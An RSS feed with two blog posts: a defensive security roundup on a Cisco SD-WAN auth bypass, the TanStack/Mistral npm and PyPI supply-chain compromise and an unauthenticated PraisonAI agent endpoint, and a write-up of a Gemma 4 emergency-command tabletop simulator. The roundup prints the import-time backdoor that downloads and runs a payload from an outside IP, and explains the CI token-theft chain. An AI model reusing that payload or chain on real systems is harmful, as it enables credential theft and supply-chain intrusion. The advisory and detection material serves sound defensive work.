<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kerry Kier</title>
    <description>The latest articles on DEV Community by Kerry Kier (@kkierii).</description>
    <link>https://dev.to/kkierii</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3898039%2F65fbd72e-9a13-4bc2-9d16-a26782e5a2bb.png</url>
      <title>DEV Community: Kerry Kier</title>
      <link>https://dev.to/kkierii</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kkierii"/>
    <language>en</language>
    <item>
      <title>The Week the Toolchain Became the Kill Chain</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Sun, 17 May 2026 17:46:14 +0000</pubDate>
      <link>https://dev.to/kkierii/the-week-the-toolchain-became-the-kill-chain-3m68</link>
      <guid>https://dev.to/kkierii/the-week-the-toolchain-became-the-kill-chain-3m68</guid>
      <description>&lt;p&gt;Three incidents landed in five days this week. Different attack surfaces, different techniques, different threat actors. What they have in common is that none of them required touching an endpoint. All three went straight for infrastructure that development and operations teams trust implicitly: the network control plane, the software supply chain, and the AI orchestration layer.&lt;/p&gt;

&lt;p&gt;Here's what happened and what you need to do about it.&lt;/p&gt;




&lt;h2&gt;
  
  
  CVE-2026-20182: CVSS 10.0 Auth Bypass in Cisco Catalyst SD-WAN
&lt;/h2&gt;

&lt;p&gt;This one gets a perfect severity score for a reason. The flaw lives in the control connection handshake -- the process by which Cisco Catalyst SD-WAN Controller and Manager (formerly vSmart and vManage) establish trust with peers. An unauthenticated remote attacker sends crafted requests that exploit a validation failure in that handshake and comes out the other side as an authenticated peer with administrative privileges.&lt;/p&gt;

&lt;p&gt;No credentials. No prior access. Just broken trust logic in the protocol.&lt;/p&gt;

&lt;p&gt;CISA added it to the Known Exploited Vulnerabilities catalog on May 14 and reinforced Emergency Directive 26-03 -- originally issued in February when this campaign first emerged -- giving federal agencies until May 17 to remediate. Three days. That's not a normal patch window, that's an incident response timeline dressed up as a compliance deadline.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the attacker does after they're in
&lt;/h3&gt;

&lt;p&gt;Cisco Talos attributes active exploitation to UAT-8616, a threat actor that's been specifically targeting SD-WAN infrastructure since at least 2023. Their post-compromise playbook, observed across multiple intrusions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSH key injection into the vmanage-admin authorized_keys file&lt;/li&gt;
&lt;li&gt;NETCONF command execution to manipulate configurations across the entire SD-WAN fabric&lt;/li&gt;
&lt;li&gt;Malicious account creation&lt;/li&gt;
&lt;li&gt;Software version downgrade to expose CVE-2022-20775 for root escalation&lt;/li&gt;
&lt;li&gt;Extensive log clearing to remove evidence&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Their infrastructure overlaps with Operational Relay Box networks, which is how the activity stays hard to attribute and trace.&lt;/p&gt;

&lt;h3&gt;
  
  
  What to check right now
&lt;/h3&gt;

&lt;p&gt;CISA's hunt guidance for ED 26-03 includes these specific log checks. If you run Cisco Catalyst SD-WAN, run these before anything else:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check auth.log for unexpected vmanage-admin SSH key authentications&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted publickey for vmanage-admin"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Check for control connections with challenge-ack of 0 (may indicate unauthorized peer)&lt;/span&gt;
show control connections detail
show control connections-history detail
&lt;span class="c"&gt;# Look for: state:up AND challenge-ack: 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;CISA has confirmed CVE-2026-20127, CVE-2026-20133, and CVE-2026-20182 in the KEV catalog with additional CVEs referenced in the directive guidance. Patches are available for all supported releases. If you can't patch immediately, restrict management interface access to trusted IPs and take the controller off public internet exposure.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mini Shai-Hulud: When GitHub Actions Publishes Malware for You
&lt;/h2&gt;

&lt;p&gt;This is the supply chain story of the year so far, and the technique is worth understanding in detail because it defeated controls that were specifically designed to prevent this.&lt;/p&gt;

&lt;p&gt;On May 11, threat actor TeamPCP compromised 172 packages across 403 malicious versions on npm and PyPI in a 48-hour window. Targets included the entire @tanstack namespace, Mistral AI's official SDKs, UiPath automation tooling, OpenSearch, and Guardrails AI -- figures reported across multiple security researchers and advisories. @tanstack/react-router alone had over 12 million weekly downloads at the time of the attack.&lt;/p&gt;

&lt;p&gt;But the number of packages isn't the interesting part. The attack chain is.&lt;/p&gt;

&lt;h3&gt;
  
  
  The three-vulnerability chain
&lt;/h3&gt;

&lt;p&gt;TeamPCP didn't steal npm credentials. They hijacked TanStack's own release pipeline and published through its legitimate identity. The chain:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 -- Pwn Request via pull_request_target misconfiguration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The attacker forked TanStack/router, renamed the fork to zblgg/configuration to avoid appearing in fork-list searches, and opened a pull request. The &lt;code&gt;pull_request_target&lt;/code&gt; trigger in GitHub Actions runs workflows with write permissions even against code from external forks. This let the attacker's fork code execute in a privileged context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 -- GitHub Actions cache poisoning&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The attacker's code poisoned the pnpm store cache with a 1.1 GB malicious entry keyed to match the hash that TanStack's legitimate release workflow would look up. &lt;code&gt;actions/cache@v5&lt;/code&gt; uses a runner-internal token for cache saves, not the workflow's &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; -- so setting &lt;code&gt;permissions: contents: read&lt;/code&gt; doesn't prevent cache mutation from a fork-triggered workflow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 -- OIDC token extraction from runner memory&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When TanStack's legitimate release.yml workflow ran, it restored the poisoned cache. The injected code then read the GitHub Actions runner's process memory via &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt;, scanning for &lt;code&gt;{"value":"...","isSecret":true}&lt;/code&gt; patterns to extract the ambient OIDC token. That token was used to publish 84 malicious npm package versions in two batches at 19:20 and 19:26 UTC.&lt;/p&gt;

&lt;p&gt;The published packages carried valid SLSA provenance -- cryptographic attestation from Sigstore confirming the package was built from a trusted pipeline. The attestation was accurate. The pipeline was compromised. The trust signal worked exactly as designed and still failed to catch it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The PyPI side
&lt;/h3&gt;

&lt;p&gt;The mistralai 2.4.6 and guardrails-ai 0.10.1 payloads used a different mechanism: a backdoor appended to &lt;code&gt;__init__.py&lt;/code&gt; that fires on import, not install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Payload appended to __init__.py in mistralai 2.4.6
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;_sub&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;_os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;_sys&lt;/span&gt;
&lt;span class="n"&gt;_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://83.142.209.194/transformers.pyz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;_dest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/transformers.pyz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;_sub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-k&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-L&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-o&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_dest&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;_sub&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;_sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_dest&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the &lt;code&gt;-k&lt;/code&gt; flag -- TLS verification disabled. The payload only executes on Linux and exits if it detects Russian language settings or fewer than four CPUs. PyPI quarantined the entire mistralai project. Any environment that ran &lt;code&gt;import mistralai&lt;/code&gt; during the attack window should be treated as compromised regardless of whether the install itself ran in a sandbox.&lt;/p&gt;

&lt;p&gt;The malware targets: GitHub Actions OIDC tokens, GitLab and CircleCI tokens, AWS IMDSv2 credentials, GCP and Azure credentials, Kubernetes service account tokens, HashiCorp Vault tokens, npm and PyPI publish tokens, and -- new in this wave -- 1Password and Bitwarden password vault contents. Exfiltration channels include a typosquat domain (git-tanstack[.]com), the Session encrypted messenger network, and GitHub repositories created using stolen tokens.&lt;/p&gt;

&lt;h3&gt;
  
  
  What to do if you ran affected packages on May 11-12
&lt;/h3&gt;

&lt;p&gt;Rotate all of the following from any environment where a compromised package ran:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;npm tokens&lt;/li&gt;
&lt;li&gt;GitHub personal access tokens and Actions secrets&lt;/li&gt;
&lt;li&gt;AWS, GCP, and Azure credentials&lt;/li&gt;
&lt;li&gt;Kubernetes service account tokens&lt;/li&gt;
&lt;li&gt;HashiCorp Vault tokens&lt;/li&gt;
&lt;li&gt;Deployment secrets and SSH keys&lt;/li&gt;
&lt;li&gt;npm and PyPI publish tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Don't stop at npm tokens. Check for these persistence indicators:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for worm persistence files&lt;/span&gt;
find ~ &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s1"&gt;'*/.claude/setup.mjs'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt; &lt;span class="s1"&gt;'*/.vscode/setup.mjs'&lt;/span&gt;
find ~/.config &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*gh-token-monitor*'&lt;/span&gt;
find ~/.local/bin &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'gh-token-monitor.sh'&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'tmp.ts018051808.lock'&lt;/span&gt;

&lt;span class="c"&gt;# Check for running worm processes&lt;/span&gt;
ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'tanstack_runner|router_runtime|gh-token-monitor|bun'&lt;/span&gt;

&lt;span class="c"&gt;# Check for PyPI payload on Linux&lt;/span&gt;
find /tmp &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'transformers.pyz'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Block at DNS/proxy level: &lt;code&gt;git-tanstack.com&lt;/code&gt; and &lt;code&gt;*.getsession.org&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hardening GitHub Actions against this class of attack
&lt;/h3&gt;

&lt;p&gt;The three vulnerabilities chained here are all documented and preventable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Don't use pull_request_target for workflows that need write permissions&lt;/span&gt;
&lt;span class="c1"&gt;# unless you explicitly gate on trusted authors&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# use pull_request, not pull_request_target, for untrusted code&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opened&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;synchronize&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Scope permissions explicitly&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;  &lt;span class="c1"&gt;# only if OIDC publishing is required&lt;/span&gt;

&lt;span class="c1"&gt;# Pin actions to commit SHAs, not tags&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/cache@1bd1e32a3bdc45362d1e726936510720a7c6158d&lt;/span&gt;  &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The cache poisoning vector is harder to fully close because &lt;code&gt;actions/cache&lt;/code&gt; uses a runner-internal token for saves. Restrict which workflows can write to cache, and consider using a separate isolated runner for release workflows that have OIDC publish permissions.&lt;/p&gt;




&lt;h2&gt;
  
  
  CVE-2026-44338: Your AI Agent Is Listening and It Will Do What You Ask
&lt;/h2&gt;

&lt;p&gt;PraisonAI is a multi-agent orchestration framework for building autonomous AI agents. Roughly 7,000 GitHub stars at the time of disclosure. Not a major enterprise platform -- exactly the kind of tool that gets adopted fast by teams automating workflows, often before anyone has reviewed its security defaults.&lt;/p&gt;

&lt;p&gt;The vulnerability is embarrassingly simple. The legacy Flask API server ships with this configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# src/praisonai/api_server.py
&lt;/span&gt;&lt;span class="n"&gt;AUTH_ENABLED&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;AUTH_TOKEN&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_auth&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;AUTH_ENABLED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;  &lt;span class="c1"&gt;# Always passes when auth is disabled
&lt;/span&gt;    &lt;span class="c1"&gt;# ... actual auth check never reached
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two endpoints fail completely open as a result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /agents
# Returns all configured agent metadata including agent file name and agent list
# No auth required

POST /chat
# Body: {"message": "anything"}
# Executes agents.yaml workflow regardless of message content
# No auth required
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The POST /chat endpoint ignores the message value entirely. It calls &lt;code&gt;PraisonAI(agent_file="agents.yaml").run()&lt;/code&gt; directly. Whatever your workflow is configured to do -- LLM API calls, shell execution, file I/O, external integrations -- any unauthenticated caller can trigger it. The server also binds to &lt;code&gt;0.0.0.0:8080&lt;/code&gt; by default, so if it's reachable from the network it's fully exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The exploitation timeline
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;13:56 UTC May 11: GitHub advisory GHSA-6rmh-7xcm-cpxj published for CVE-2026-44338&lt;/li&gt;
&lt;li&gt;17:40 UTC May 11: Sysdig observes first active probe of the specific vulnerable endpoint&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three hours and 44 minutes. The scanner identified itself as &lt;code&gt;CVE-Detector/1.0&lt;/code&gt; and targeted the exact &lt;code&gt;/agents&lt;/code&gt; endpoint with no Authorization header. It received HTTP 200 with the agent configuration. That's a confirmed successful exploit against a live exposed instance within four hours of the advisory going public.&lt;/p&gt;

&lt;p&gt;This isnt a large project. The adversary tooling scanning for AI agent surfaces doesnt care about project size or star count. Any internet-exposed agentic framework is in scope.&lt;/p&gt;

&lt;h3&gt;
  
  
  Fix
&lt;/h3&gt;

&lt;p&gt;Update to PraisonAI 4.6.34 or later, which removes the legacy API server behavior. If you can't patch immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Restrict network access to the API server using a firewall -- do not leave it internet-exposed&lt;/li&gt;
&lt;li&gt;Switch to the newer &lt;code&gt;serve agent&lt;/code&gt; command which binds to localhost and supports API key authentication&lt;/li&gt;
&lt;li&gt;Audit your agents.yaml: understand what an unauthenticated trigger of your workflow would actually do in your environment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The broader lesson: any AI agent deployment you have running that binds to &lt;code&gt;0.0.0.0&lt;/code&gt;, has authentication disabled or unverified, or hasn't been assessed for what an unauthenticated workflow trigger does in production -- that's exposure. The window between disclosure and active scanning is now hours, and adversary tooling has been specifically instrumented for the AI agent attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Common Thread
&lt;/h2&gt;

&lt;p&gt;None of these required a compromised endpoint or a phishing email. UAT-8616 went straight to the SD-WAN controller. TeamPCP bypassed developers entirely and published through their own pipeline. The PraisonAI scanner triggered the agent workflow without needing to understand what it did.&lt;/p&gt;

&lt;p&gt;The attack surface has shifted. Network control planes, CI/CD pipelines, and AI orchestration layers are not governed with the same rigor as production application environments -- and the people exploiting them have clearly noticed. If your threat model doesn't include the toolchain itself, this week is a reasonable argument for updating it.&lt;/p&gt;

&lt;p&gt;Full analysis with additional context at the canonical version: &lt;a href="https://blog.vertexops.org/the-week-the-toolchain-became-the-kill-chain" rel="noopener noreferrer"&gt;https://blog.vertexops.org/the-week-the-toolchain-became-the-kill-chain&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>ai</category>
      <category>programming</category>
    </item>
    <item>
      <title>I Used Gemma 4 to Simulate an Entire Emergency Command Team -- One Model, Six Roles, Real Doctrine</title>
      <dc:creator>Kerry Kier</dc:creator>
      <pubDate>Wed, 13 May 2026 01:04:28 +0000</pubDate>
      <link>https://dev.to/kkierii/i-used-gemma-4-to-simulate-an-entire-emergency-command-team-one-model-six-roles-real-doctrine-21g6</link>
      <guid>https://dev.to/kkierii/i-used-gemma-4-to-simulate-an-entire-emergency-command-team-one-model-six-roles-real-doctrine-21g6</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/google-gemma-2026-05-06"&gt;Gemma 4 Challenge: Build with Gemma 4&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;I work in IT infrastructure for a fire and EMS communications center. I'm also a CERT member. I'm not an Emergency Operations Manager, but I work close enough to that world to understand what tabletop exercises actually cost in time and coordination. Getting six trained ICS personnel into a room at the same time, playing their roles correctly, staying in doctrine, for a discussion-based exercise that might run two hours, that's a significant logistical lift. For smaller agencies or training programs with limited staff, it often just doesn't happen.&lt;/p&gt;

&lt;p&gt;That's the gap I wanted to close.&lt;/p&gt;

&lt;p&gt;The ICS Tabletop Exercise Simulator is a Gemma 4-powered system that lets an Emergency Operations Manager run a fully staffed ICS tabletop exercise without coordinating a room full of people. The model simultaneously portrays six ICS positions: Incident Commander, Safety Officer, Public Information Officer, Operations Section Chief, Planning Section Chief, and Logistics Section Chief. Every response is grounded in NIMS 2017 doctrine, NQS Position Task Books, and ICS position checklists. Nothing is invented. If a behavior or authority isn't in the doctrine, it doesn't appear in the simulation.&lt;/p&gt;

&lt;p&gt;This runs entirely through OpenWebUI with a structured workspace system prompt and a RAG knowledge base containing the official FEMA source documents. There's no custom app, no web development, no agent framework. The interface is a chat window. An EOM describes a scenario, and the simulator responds with every relevant position in ICS format, enforcing chain of command, communication protocols, and position-specific decision authorities.&lt;/p&gt;

&lt;p&gt;I want to be direct about what this is. A proof of concept built by someone who supports the infrastructure that emergency management runs on, not by an EOM. I did my best to ground everything in doctrine and had the RAG pipeline pulling from official FEMA documents to keep me honest. But this is a first build, and I'm saying that upfront.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The architecture in one paragraph:&lt;/strong&gt; A self-hosted server runs OpenWebUI in Docker behind a LiteLLM proxy. The proxy routes inference to the Gemini API for Gemma 4 access. RAG uses ChromaDB for vector storage, bge-m3 for embeddings via local Ollama, and BAAI/bge-reranker-v2-m3 in a TEI container for hybrid search reranking. The knowledge base contains 148 documents converted to clean Markdown: NIMS 2017, NRF 4th Edition, HSEEP 2020, NQS Position Task Books for all six ICS positions, ICS forms, training course manuals, and HSEEP exercise templates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The behavior that makes it useful:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The system prompt enforces ICS communication protocols precisely, not approximately. The Safety Officer has unilateral stop-work authority without IC approval, because that's what NIMS says. The Planning Section Chief can communicate directly with section chiefs for information gathering, but cannot issue directives. The PIO holds all public messaging for IC approval before release. The OSC and LSC route all coordination through the IC. These rules are pulled directly from the position task books and encoded as hard constraints in the prompt.&lt;/p&gt;

&lt;p&gt;The system also implements a source authority hierarchy. NIMS 2017, NQS Position Task Books, and ICS checklists are Tier 1 (authoritative). Course manuals are Tier 2 (supplementary). HSEEP templates are Tier 3 (reference only, not doctrine). When a PTB and a course manual both cover the same content, the PTB is cited. Exercise templates are never cited as doctrine. This hierarchy shapes how the model retrieves and represents source material.&lt;/p&gt;

&lt;p&gt;A facilitator command set is built in. An EOM prefixes a message with &lt;code&gt;//&lt;/code&gt; to step out of the simulation. Commands include &lt;code&gt;// POSITION QUERY: [position] -- [question]&lt;/code&gt; to query a single position directly, &lt;code&gt;// STATUS REPORT&lt;/code&gt; to get a one-paragraph status from every position, &lt;code&gt;// DECISION POINT&lt;/code&gt; to pause for a structured discussion summary, &lt;code&gt;// UPDATE&lt;/code&gt; to add scenario detail without advancing time, and &lt;code&gt;// RESET&lt;/code&gt; to clear the scenario. The selective response logic means asking the OSC a direct question returns the IC and OSC only, not six responses when three of them have nothing to say.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where the build genuinely earns its keep:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rapid scenario iteration. An EOM can run a full six-position inject response in seconds, adjust the scenario, and run it again. What used to require scheduling six people now happens alone at a desk.&lt;/p&gt;

&lt;p&gt;Doctrinal friction. The most valuable learning outcome of a tabletop exercise is when positions conflict, when the SO's stop-work authority collides with the OSC's tactical urgency. The system portrays that friction accurately rather than smoothing it over. In one test, the SO explicitly prevented an interior fire attack citing unverified structural integrity, the OSC escalated the resource gap to the IC, and the IC had to manage both simultaneously. That's the kind of decision-point pressure that makes exercises useful.&lt;/p&gt;

&lt;p&gt;Position-specific training. The &lt;code&gt;// POSITION QUERY&lt;/code&gt; command lets an EOM ask any position a direct doctrine question mid-exercise. Useful for both exercise facilitation and individual position study.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What already exists in this space:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I checked the market carefully before committing to this. Preppr.ai, EM1, Disaster Tech PRATUS, and Juvare are all serious commercial players in adjacent positions. ThreatGEN AutoTableTop does AI-automated tabletop exercises but for cybersecurity only. None of them do what this does: a single model simulating all six ICS positions, grounded in NQS Position Task Books, for solo practice by a single EOM. Preppr explicitly positions against the solo use case ("exercise design isn't a content problem, it's a coordination problem"). That's either a market gap or a market signal that the use case isn't wanted. I think it's the former, especially for smaller agencies and individual training. The honest framing is that this complements team-oriented platforms rather than competing with them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/xZynUOzVrwU"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;The demo shows a structure fire scenario inject triggering a full six-position ICS response, followed by a &lt;code&gt;// DECISION POINT&lt;/code&gt; facilitator command pausing exercise play for structured discussion. The simulation runs entirely in OpenWebUI with no custom app or interface, just a chat window and a system prompt.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;All configuration files are in the repository:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/kkierii/ics-ttx-simulator" rel="noopener noreferrer"&gt;https://github.com/kkierii/ics-ttx-simulator&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The repo contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;system-prompt.md&lt;/code&gt; -- the full OpenWebUI workspace system prompt, including role definitions, communication protocols, source authority hierarchy, facilitator command handling, response format, and behavioral rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;config.yaml&lt;/code&gt; -- LiteLLM proxy configuration including the Gemma 4 model entry and embedding/reranker routes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;openwebui-compose.yml&lt;/code&gt; -- Docker Compose for OpenWebUI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The system prompt is the primary artifact. It's what took the most iteration and the most doctrine research to get right. The behavior of the simulator lives almost entirely in that one file.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used Gemma 4
&lt;/h2&gt;

&lt;p&gt;I used &lt;strong&gt;gemma-4-26b-a4b-it&lt;/strong&gt;, the 26B Mixture-of-Experts model, accessed via the Gemini API through a LiteLLM proxy.&lt;/p&gt;

&lt;p&gt;The model choice wasn't arbitrary. The MoE architecture activates approximately 4B parameters per token while routing through 26B total parameters. For a workload that requires simultaneously holding six distinct role identities with different authorities, communication rules, and knowledge domains, MoE is a better fit than a dense model of equivalent size. A 31B dense model would be slower and more expensive per token with no quality advantage for this specific task. The MoE routing means the model can efficiently specialize per-token, which matters when it's switching between the IC framing incident objectives and the SO assessing stop-work conditions in the same response.&lt;/p&gt;

&lt;p&gt;The 26B parameter pool also gives the model enough capacity to maintain doctrinal fidelity across complex multi-position responses. I tested this throughout development by running position-specific queries against the RAG knowledge base and checking results against the source PTBs. The model didn't confuse position authorities. It didn't have OSC making public information decisions. It didn't have LSC tasking Operations. It stayed in lane.&lt;/p&gt;

